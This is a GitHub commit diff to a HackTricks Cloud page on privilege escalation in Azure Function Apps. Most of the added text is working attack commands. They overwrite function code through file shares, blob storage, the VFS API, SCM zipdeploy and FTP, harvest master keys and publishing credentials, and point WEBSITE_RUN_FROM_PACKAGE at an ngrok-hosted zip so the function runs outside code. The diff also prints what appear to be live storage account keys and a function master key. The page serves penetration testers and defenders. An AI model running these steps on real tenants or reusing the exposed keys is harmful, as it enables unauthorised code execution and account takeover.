Skip to content

Commit

Permalink
GITBOOK-738: No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Dec 23, 2024
1 parent 710d7a1 commit 794e547
Show file tree
Hide file tree
Showing 2 changed files with 340 additions and 21 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,123 @@ Check the following page for more information:
[az-function-apps.md](../az-services/az-function-apps.md)
{% endcontent-ref %}

### Bucket Read/Write

With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.

Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.

* **`File Share (`**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)

The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.

This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 

```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```

Those configs will contain the **Storage Account Key** that the Function can use to access the code.

{% hint style="danger" %}
With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
{% endhint %}

The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:

{% content-ref url="../az-services/az-file-shares.md" %}
[az-file-shares.md](../az-services/az-file-shares.md)
{% endcontent-ref %}

{% code overflow="wrap" %}
```bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
{% endcode %}

* **`function-releases`**`(WEBSITE_RUN_FROM_PACKAGE`)

It's also common to find the **zip releases** inside the folder function-releases of the Storage Account container that the function app is using in a container **usually called `function-releases`**.

Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:

```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```

This config will usually contain a **SAS URL to download** the code from the Storage Account.

{% hint style="danger" %}
With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
{% endhint %}

* **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)

With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:

```bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```

It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.

{% hint style="danger" %}
With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
{% endhint %}

```bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```

### Microsoft.Web/sites/host/listkeys/action

This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
Expand All @@ -33,6 +150,35 @@ az functionapp keys list --resource-group <res_group> --name <func-name>
```
{% endcode %}

With the master key it's also possible to to get the source code in a URL like:

{% code overflow="wrap" %}
```bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
{% endcode %}

And to **change the code that is being executed** in the function with:

{% code overflow="wrap" %}
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
{% endcode %}

### Microsoft.Web/sites/functions/listKeys/action

This permission allows to get the host key, of the specified function with:
Expand Down Expand Up @@ -75,43 +221,99 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key

### Microsoft.Web/sites/config/list/action

This permission allows to get the environmental variables of a function. Inside these variables it might be possible to find the default env variables **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which actually contains an **account key to access the blob storage of the function with FULL permissions**.
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which actually contains an **account key to access the blob storage of the function with FULL permissions**.

{% code overflow="wrap" %}
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
{% endcode %}

Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:

{% code overflow="wrap" %}
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
{% endcode %}

### `Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)`
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located.&#x20;

It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to a zip file containing the new code to execute inside a web application:

* Start by getting the current config

```bash
# Gte creds
az functionapp deployment list-publishing-profiles \
--name basicauthenabled \
--resource-group Resource_Group_1 \
--output json
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```

* **Method SCM**
* Create the code you want the funciton to run and host it publicly

Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
```

* Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.

The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.

{% code overflow="wrap" %}
```bash
# Get env variables values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
{% endcode %}

_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
### Microsoft.Web/sites/hostruntime/vfs/write

And these env variables contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):

{% code overflow="wrap" %}
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
{% endcode %}

### `Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)`

This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:

```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```

Aonther option would be to set you own creds and use them using:

```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```

* If **REDACTED** credentials

If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`

Expand All @@ -133,11 +335,111 @@ az rest --method PUT \
"properties": {
"allow": true
}
}'
}
```
{% endcode %}
* **Method SCM**
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
* **Method FTP**
Connect to the FTP server using:
```bash
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
{% code overflow="wrap" %}
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
{% endcode %}
### Microsoft.Web/sites/hostruntime/vfs/read
This permission allows to **read the source code** of the app through the VFS:
{% code overflow="wrap" %}
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
### Microsoft.Web/sites/functions/token/action
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
{% code overflow="wrap" %}
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
{% endcode %}
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
This permissions allows to **enable functions** that might be disabled (or disable them).
```bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
It's also possible to see if a funciton is enabled or disabled in the following URL (using the permision in parenthesis):

{% code overflow="wrap" %}
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
{% endcode %}

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Expand Down
Loading

0 comments on commit 794e547

Please sign in to comment.